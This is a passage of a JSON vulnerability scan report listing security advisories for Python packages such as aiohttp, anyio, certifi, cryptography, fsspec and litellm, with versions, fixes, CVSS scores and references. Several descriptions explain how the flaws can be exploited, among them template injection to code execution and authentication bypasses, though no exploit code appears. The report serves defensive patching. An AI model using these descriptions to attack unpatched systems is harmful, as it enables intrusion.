"venv/lib/python3.12/site-packages/aiohttp-3.13.3.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/aiohttp@3.13.3", "UID": "87a5fefca6535570" }, "InstalledVersion": "3.13.3", "FixedVersion": "3.14.4", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-2g87-pp6c-29x5", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:99881514c050716b7005e21c5db9dd4ed92774e12721c7f6fa85e628fabd996f", "Title": "aiohttp: Multiple instances of excessive or unbounded memory/CPU use", "Description": "### Summary\n\nMultiple cases were found where aiohttp could use excessive or unbounded memory, or excessive CPU consumption on attacker controlled requests.\n\n### Impact\n\nAn attacker could cause resource exhaustion through specially crafted requests.", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 } }, "References": [ "https://github.com/aio-libs/aiohttp", "https://github.com/aio-libs/aiohttp/commit/09bcaa73ff084a0c539bbf16a0a78743acb7141f", "https://github.com/aio-libs/aiohttp/commit/0ae507423f681161efa77d20052b4054397c7fb6", "https://github.com/aio-libs/aiohttp/commit/3d850ee9b92573c7e913821cbcb96005beb3f4df", "https://github.com/aio-libs/aiohttp/commit/47babd8c23ca79e2bae6cc8dcb5752b61e369fc7", "https://github.com/aio-libs/aiohttp/commit/615fec3d4f088f30d2ee72cad760152e92aa1c53", "https://github.com/aio-libs/aiohttp/commit/6963ee0befec1502b6bb7b4db6c72d044c08f4fa", "https://github.com/aio-libs/aiohttp/commit/6a4f6682817839313b04b8e5cea2b39c1a88ab4f", "https://github.com/aio-libs/aiohttp/commit/8cfbe9abe5e11b84006a10f9bdf82bf607671dab", "https://github.com/aio-libs/aiohttp/commit/a555ab698e08e9baea7386d5b4c0761cb8956fdd", "https://github.com/aio-libs/aiohttp/commit/c6ac0e44c3c573ff9616f4a6a532992538b31e43", "https://github.com/aio-libs/aiohttp/commit/d925a80539ffd227da1d93ab4a5bff123cc777db", "https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4", "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-2g87-pp6c-29x5" ], "PublishedDate": "2026-10-19T17:07:23Z", "LastModifiedDate": "2026-10-19T17:07:23Z" }, { "VulnerabilityID": "CVE-2026-63374", "VendorIDs": [ "GHSA-82r6-8w77-94w6" ], "PkgName": "anyio", "PkgPath": "venv/lib/python3.12/site-packages/anyio-4.12.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/anyio@4.12.1", "UID": "dc73eaca3f8359fb" }, "InstalledVersion": "4.12.1", "FixedVersion": "4.14.2", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63374", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:0198b46a8ed5557b5534578c2a20b0830e47ac7518ed7b143307079b2bb8580e", "Title": "anyio: AnyIO: TLS certificate spoofing via improper internationalized domain name encoding", "Description": "AnyIO is a high level asynchronous concurrency and networking framework that works on top of either Trio or asyncio. Prior to 4.14.2, connect_tcp() and TLSStream.wrap() can validate internationalized host names after the standard library converts them with IDNA 2003 instead of IDNA 2008. When a connection to a non-ASCII domain is hijacked or redirected, an attacker can obtain a legitimate certificate for the different ASCII hostname produced by IDNA 2003 and present it to the client, causing the malicious endpoint's certificate to validate. This issue is fixed in version 4.14.2.", "Severity": "CRITICAL", "CweIDs": [ "CWE-295", "CWE-297" ], "VendorSeverity": { "ghsa": 4, "redhat": 2 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", "V40Score": 9.3 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63374", "https://advisory.echohq.com/cve/CVE-2026-63374", "https://github.com/advisories/GHSA-82r6-8w77-94w6", "https://github.com/agronholm/anyio", "https://github.com/agronholm/anyio/commit/68f58915f82d9be8109ebbbd8f5d70577d43f2ce", "https://github.com/agronholm/anyio/pull/1208", "https://github.com/agronholm/anyio/releases/tag/4.14.2", "https://github.com/agronholm/anyio/security/advisories/GHSA-82r6-8w77-94w6", "https://nvd.nist.gov/vuln/detail/CVE-2026-63374", "https://www.cve.org/CVERecord?id=CVE-2026-63374" ], "PublishedDate": "2026-09-22T16:17:50.68Z", "LastModifiedDate": "2026-09-28T17:17:50.357Z" }, { "VulnerabilityID": "GHSA-6q48-6c7w-9gw2", "PkgName": "certifi", "PkgPath": "venv/lib/python3.12/site-packages/certifi-2026.1.4.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/certifi@2026.1.4", "UID": "51dc209cc01d7744" }, "InstalledVersion": "2026.1.4", "FixedVersion": "2026.10.18", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-6q48-6c7w-9gw2", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:c8742650c7b8b143ee5363efdf6bd9f876c992703866330b5eed576a28d75003", "Title": "certifi bundles emSign root CAs with compromised intermediate CA keys", "Description": "Certifi versions before 2026.10.18 include the `emSign ECC Root CA - G3` root certificate in their bundled CA store. Eight eMudhra intermediate CA certificates that chain to this root have compromised private keys and the CA has revoked them. \n\nAn attacker with one of the compromised keys can issue valid-looking certificates for any hostname. If the attacker is also on-path, they can intercept or modify TLS traffic from clients that trust the certifi bundle. Examples include `requests`, `urllib3` and `pip`, and the Python.org macOS installer.\n\nCertifi 2026.10.18 removed all emSign roots from the bundle. Certifi 2026.10.19 restored the emSign roots that are not affected. Upgrade to 2026.10.19 or later, and rebuild container images that vendor certifi.", "Severity": "CRITICAL", "VendorSeverity": { "ghsa": 4 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", "V40Score": 9.1 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-6q48-6c7w-9gw2", "https://discuss.python.org/t/information-for-python-users-regarding-emudhra-emsign-ca-certificate-security-incident/109576", "https://emudhra.we-have-a-problem.com", "https://github.com/advisories/GHSA-6q48-6c7w-9gw2", "https://github.com/certifi/python-certifi", "https://github.com/certifi/python-certifi/security/advisories/GHSA-6q48-6c7w-9gw2" ], "PublishedDate": "2026-10-20T19:35:05Z", "LastModifiedDate": "2026-10-26T16:02:12Z" }, { "VulnerabilityID": "CVE-2026-69247", "VendorIDs": [ "GHSA-g6cj-pr64-35w5" ], "PkgName": "cryptography", "PkgPath": "venv/lib/python3.12/site-packages/cryptography-46.0.5.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/cryptography@46.0.5", "UID": "7aecf2f37fe56d83" }, "InstalledVersion": "46.0.5", "FixedVersion": "50.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-69247", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:778021450bfd9cefac8ad9071e0f6a10d9fc72eb1ae168e270e8eaf7d0d4d224", "Title": "python-cryptography: python-cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing", "Description": "cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. From 44.0.0 until 50.0.0, pkcs7_decrypt_der, pkcs7_decrypt_pem, and pkcs7_decrypt_smime reported the outcome of decrypting a RecipientInfo's encryptedKey in several distinguishable ways, one of which disclosed the exact length recovered from the RSA operation. The same distinction was also observable by timing. An application that decrypts attacker-supplied EnvelopedData and reflects the outcome gives the attacker a Bleichenbacher oracle against the content-encryption key. Decryption ran as RSA PKCS#1 v1.5 decrypt of encryptedKey, build an AES cipher from the result, then AES-CBC decrypt and PKCS#7 unpad. Invalid RSA padding, a valid padding with a bad key length, a correct length with a wrong key, and the real key each failed or succeeded differently. Case 1 is reachable only where the linked library lacks implicit rejection: OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. Exploitation requires a service that auto-decrypts untrusted EnvelopedData matching the victim certificate and answers adaptively at high volume, such as an S/MIME gateway or mail filter. This issue is fixed in 50.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-208", "CWE-209" ], "VendorSeverity": { "ghsa": 3, "photon": 2, "redhat": 2, "ubuntu": 2 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-69247", "https://advisory.echohq.com/cve/CVE-2026-69247", "https://github.com/pyca/cryptography", "https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f", "https://github.com/pyca/cryptography/pull/15369", "https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5", "https://nvd.nist.gov/vuln/detail/CVE-2026-69247", "https://ubuntu.com/security/notices/USN-8776-1", "https://www.cve.org/CVERecord?id=CVE-2026-69247" ], "PublishedDate": "2026-08-03T22:16:52.38Z", "LastModifiedDate": "2026-10-23T21:10:00.157Z" }, { "VulnerabilityID": "CVE-2026-69249", "VendorIDs": [ "GHSA-jwv3-5hgf-82ww" ], "PkgName": "cryptography", "PkgPath": "venv/lib/python3.12/site-packages/cryptography-46.0.5.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/cryptography@46.0.5", "UID": "7aecf2f37fe56d83" }, "InstalledVersion": "46.0.5", "FixedVersion": "49.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-69249", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:0f89f85fd1adfbc01f1ce911d9e3148cf00fe8a29e547c21d5dd931c3383fb9d", "Title": "python-cryptography: python-cryptography: Duplicate self-signed intermediates can cause exponential path-building", "Description": "python-cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 42.0.0 through 48.0.0, when resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability. This issue is fixed in 49.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-400" ], "VendorSeverity": { "alma": 3, "azure": 3, "ghsa": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:64774", "https://access.redhat.com/security/cve/CVE-2026-69249", "https://advisory.echohq.com/cve/CVE-2026-69249", "https://bugzilla.redhat.com/2510815", "https://bugzilla.redhat.com/2510830", "https://bugzilla.redhat.com/show_bug.cgi?id=2510815", "https://bugzilla.redhat.com/show_bug.cgi?id=2510830", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-69248", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-69249", "https://errata.almalinux.org/9/ALSA-2026-64774.html", "https://errata.rockylinux.org/RLSA-2026:64774", "https://github.com/pyca/cryptography", "https://github.com/pyca/cryptography/commit/3763aa79b", "https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582", "https://github.com/pyca/cryptography/pull/14960", "https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww", "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml", "https://linux.oracle.com/cve/CVE-2026-69249.html", "https://linux.oracle.com/errata/ELSA-2026-71658.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-69249", "https://ubuntu.com/security/notices/USN-8776-1", "https://www.cve.org/CVERecord?id=CVE-2026-69249" ], "PublishedDate": "2026-08-03T22:16:52.72Z", "LastModifiedDate": "2026-10-23T21:10:00.157Z" }, { "VulnerabilityID": "GHSA-537c-gmf6-5ccf", "PkgName": "cryptography", "PkgPath": "venv/lib/python3.12/site-packages/cryptography-46.0.5.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/cryptography@46.0.5", "UID": "7aecf2f37fe56d83" }, "InstalledVersion": "46.0.5", "FixedVersion": "48.0.1", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-537c-gmf6-5ccf", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:e7d284dca929b826c93fc2ef3f9bcaa1cbbf1dfce22da39dd67b5e7c666c6800", "Title": "Vulnerable OpenSSL included in cryptography wheels", "Description": "pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt.\n\nIf you are building cryptography source (\"sdist\") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-537c-gmf6-5ccf", "https://github.com/advisories/GHSA-537c-gmf6-5ccf", "https://github.com/pyca/cryptography", "https://github.com/pyca/cryptography/security/advisories/GHSA-537c-gmf6-5ccf", "https://openssl-library.org/news/secadv/20260609.txt" ], "PublishedDate": "2026-06-15T20:12:27Z", "LastModifiedDate": "2026-06-15T20:12:27Z" }, { "VulnerabilityID": "CVE-2026-104851", "VendorIDs": [ "GHSA-27vj-qcqg-25rc" ], "PkgName": "fsspec", "PkgPath": "venv/lib/python3.12/site-packages/fsspec-2026.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/fsspec@2026.2.0", "UID": "20539af903fe9c49" }, "InstalledVersion": "2026.2.0", "FixedVersion": "2026.6.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-104851", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:5a217ab1630dd57fe7f4ac62fada050034b191816a9ab1329fa11f8b57373d10", "Title": "fsspec: fsspec: arbitrary code execution via unrestricted template rendering in ReferenceFileSystem", "Description": "fsspec is a specification and Python implementation framework for filesystem interfaces. From 0.9.0 until 2026.6.0, fsspec.implementations.reference.ReferenceFileSystem evaluates fields from Kerchunk reference JSON documents through unrestricted jinja2.Template(...).render(...) calls in _process_references1._render_jinja, _process_templates, and _process_gen in fsspec/implementations/reference.py. A document supplied inline or fetched from an attacker-controlled URL can provide template expressions that execute Python code when the reference filesystem is opened, including through consumers such as xarray, before referenced data is read. The _process_gen path is reached whenever a document includes a gen array, while the other paths depend on template-related options and values. This issue is fixed in version 2026.6.0.", "Severity": "HIGH", "CweIDs": [ "CWE-94", "CWE-1336" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-104851", "https://advisory.echohq.com/cve/CVE-2026-104851", "https://github.com/fsspec/filesystem_spec", "https://github.com/fsspec/filesystem_spec/commit/86438783f93b1398ef245b92f0e6063b445b611c", "https://github.com/fsspec/filesystem_spec/commit/a1c16ab3f07f354aa371c38f7b1b07ea7fd4c5c8", "https://github.com/fsspec/filesystem_spec/pull/2029", "https://github.com/fsspec/filesystem_spec/pull/2039", "https://github.com/fsspec/filesystem_spec/releases/tag/2026.6.0", "https://github.com/fsspec/filesystem_spec/security/advisories/GHSA-27vj-qcqg-25rc", "https://nvd.nist.gov/vuln/detail/CVE-2026-104851", "https://www.cve.org/CVERecord?id=CVE-2026-104851" ], "PublishedDate": "2026-10-02T17:17:03.763Z", "LastModifiedDate": "2026-10-05T20:17:09.373Z" }, { "VulnerabilityID": "CVE-2026-35030", "VendorIDs": [ "GHSA-jjhc-v7c2-5hh6" ], "PkgName": "litellm", "PkgPath": "venv/lib/python3.12/site-packages/litellm-1.81.10.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/litellm@1.81.10", "UID": "453b8a9e35c5b04f" }, "InstalledVersion": "1.81.10", "FixedVersion": "1.83.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-35030", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:72a1f3d3fa6e60648012dbee6628bf7cbdbd3c4b3b697ade7009faaaf7ae5c56", "Title": "litellm: LiteLLM: Authentication bypass and privilege escalation via OIDC userinfo cache key collision", "Description": "LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. Prior to 1.83.0, when JWT authentication is enabled (enable_jwt_auth: true), the OIDC userinfo cache uses token[:20] as the cache key. JWT headers produced by the same signing algorithm generate identical first 20 characters. This configuration option is not enabled by default. Most instances are not affected. An unauthenticated attacker can craft a token whose first 20 characters match a legitimate user's cached token. On cache hit, the attacker inherits the legitimate user's identity and permissions. This affects deployments with JWT/OIDC authentication enabled. Fixed in v1.83.0.", "Severity": "CRITICAL", "CweIDs": [ "CWE-287", "CWE-222" ], "VendorSeverity": { "ghsa": 4, "redhat": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N", "V40Score": 9.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:13545", "https://access.redhat.com/errata/RHSA-2026:28960", "https://access.redhat.com/errata/RHSA-2026:30056", "https://access.redhat.com/security/cve/CVE-2026-35030", "https://bugzilla.redhat.com/show_bug.cgi?id=2455509", "https://github.com/BerriAI/litellm", "https://github.com/BerriAI/litellm/security/advisories/GHSA-jjhc-v7c2-5hh6", "https://nvd.nist.gov/vuln/detail/CVE-2026-35030", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-35030.json", "https://www.cve.org/CVERecord?id=CVE-2026-35030" ], "PublishedDate": "2026-04-06T17:17:12.65Z", "LastModifiedDate": "2026-10-24T13:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-37004", "VendorIDs": [ "GHSA-6wvf-77m9-58rm" ], "PkgName": "litellm", "PkgPath": "venv/lib/python3.12/site-packages/litellm-1.81.10.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/litellm@1.81.10", "UID": "453b8a9e35c5b04f" }, "InstalledVersion": "1.81.10", "FixedVersion": "1.83.7", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-37004", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:489a24ed7505cf1da261ed2c10649eefe3323df0a23e882271de868a74057068", "Title": "litellm: berriai: litellm: Arbitrary OS command execution via Server-Side Template Injection", "Description": "BerriAI litellm \u003c=1.82.4 is vulnerable to Server-Side Template Injection (SSTI), which allows unauthenticated remote attackers to execute arbitrary OS commands via a crafted dotprompt_content parameter in the /prompts/test endpoint due to use of an unsandboxed jinja2.Environment.", "Severity": "CRITICAL", "CweIDs": [ "CWE-1336" ], "VendorSeverity": { "ghsa": 4, "redhat": 4 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "V3Score": 10 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-37004", "https://advisory.echohq.com/cve/CVE-2026-37004", "https://github.com/BerriAI/litellm", "https://github.com/BerriAI/litellm/blob/244bdffd1bfe7bebdfdef516e1ebe426a898e2f0/litellm/proxy/prompts/prompt_endpoints.py#L1073", "https://github.com/BerriAI/litellm/commit/d910a95661fce3cdd36f3b06c03ecf9c46c6457c", "https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable", "https://nvd.nist.gov/vuln/detail/CVE-2026-37004", "https://www.cve.org/CVERecord?id=CVE-2026-37004", "https://yerangamage.com/cves/detail/?slug=litellm-ssti-rce" ], "PublishedDate": "2026-08-27T20:17:41.27Z", "LastModifiedDate": "2026-09-01T04:18:00.997Z" }, { "VulnerabilityID": "CVE-2026-49468", "VendorIDs": [ "GHSA-4xpc-pv4p-pm3w" ], "PkgName": "litellm", "PkgPath": "venv/lib/python3.12/site-packages/litellm-1.81.10.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/litellm@1.81.10", "UID": "453b8a9e35c5b04f" }, "InstalledVersion": "1.81.10", "FixedVersion": "1.84.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-49468", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:e21c9f6b34c7116ea109e6bb527d4de7d7691c72c6dc7bdfc2510e0cf5f21be9", "Title": "litellm: LiteLLM: Authentication Bypass via Host Header Injection", "Description": "LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. Prior to 1.84.0, a Host-header parsing flaw in the LiteLLM proxy could, under specific conditions, allow unauthenticated access to protected management routes. The auth layer derived the effective route from request.url.path in litellm/proxy/auth/auth_utils.py::get_request_route(), which Starlette reconstructs from the Host header. A crafted Host could therefore make the auth gate evaluate a different route from the one FastAPI dispatched. This vulnerability is fixed in 1.84.0.", "Severity": "CRITICAL", "CweIDs": [ "CWE-290" ], "VendorSeverity": { "ghsa": 4, "nvd": 4, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H", "V3Score": 9.8, "V40Score": 9.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-49468", "https://advisory.echohq.com/cve/CVE-2026-49468", "https://bugzilla.redhat.com/show_bug.cgi?id=2491520", "https://github.com/BerriAI/litellm", "https://github.com/BerriAI/litellm/releases/tag/v1.84.0", "https://github.com/BerriAI/litellm/security/advisories/GHSA-4xpc-pv4p-pm3w", "https://github.com/advisories/GHSA-4xpc-pv4p-pm3w", "https://github.com/pypa/advisory-database/tree/main/vulns/litellm/PYSEC-2026-388.yaml", "https://nvd.nist.gov/vuln/detail/CVE-2026-49468", "https://pypi.org/project/litellm", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-49468.json", "https://www.cve.org/CVERecord?id=CVE-2026-49468" ], "PublishedDate": "2026-06-22T21:16:25.19Z", "LastModifiedDate": "2026-10-25T23:10:00.167Z" }, { "VulnerabilityID": "CVE-2026-35029", "VendorIDs": [ "GHSA-53mr-6c8q-9789" ], "PkgName": "litellm", "PkgPath": "venv/lib/python3.12/site-packages/litellm-1.81.10.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/litellm@1.81.10", "UID": "453b8a9e35c5b04f" }, "InstalledVersion": "1.81.10", "FixedVersion": "1.83.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-35029", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:38be5e1ab3e4a18c6ba7e315fb02399eef70a91ad120ea9c05cb3d61e0ad8d1d", "Title": "litellm: LiteLLM: Remote code execution and privilege escalation via unrestricted proxy configuration endpoint", "Description": "LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. Prior to 1.83.0, the /config/update endpoint does not enforce admin role authorization. A user who is already authenticated into the platform can then use this endpoint to modify proxy configuration and environment variables, register custom pass-through endpoint handlers pointing to attacker-controlled Python code, achieving remote code execution, read arbitrary server files by setting UI_LOGO_PATH and fetching via /get_image, and take over other privileged accounts by overwriting UI_USERNAME and UI_PASSWORD environment variables. Fixed in v1.83.0.", "Severity": "HIGH", "CweIDs": [ "CWE-863", "CWE-425" ], "VendorSeverity": { "ghsa": 3, "nvd": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "http://seclists.org/fulldisclosure/2026/Apr/17", "https://access.redhat.com/errata/RHSA-2026:13545", "https://access.redhat.com/errata/RHSA-2026:28960", "https://access.redhat.com/errata/RHSA-2026:30056", "https://access.redhat.com/security/cve/CVE-2026-35029", "https://advisory.echohq.com/cve/CVE-2026-35029", "https://bugzilla.redhat.com/show_bug.cgi?id=2455474", "https://github.com/BerriAI/litellm", "https://github.com/BerriAI/litellm/security/advisories/GHSA-53mr-6c8q-9789", "https://nvd.nist.gov/vuln/detail/CVE-2026-35029", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-35029.json", "https://www.cve.org/CVERecord?id=CVE-2026-35029" ], "PublishedDate": "2026-04-06T17:17:12.353Z", "LastModifiedDate": "2026-10-23T23:10:00.157Z" }, { "VulnerabilityID": "CVE-2026-40217", "VendorIDs": [ 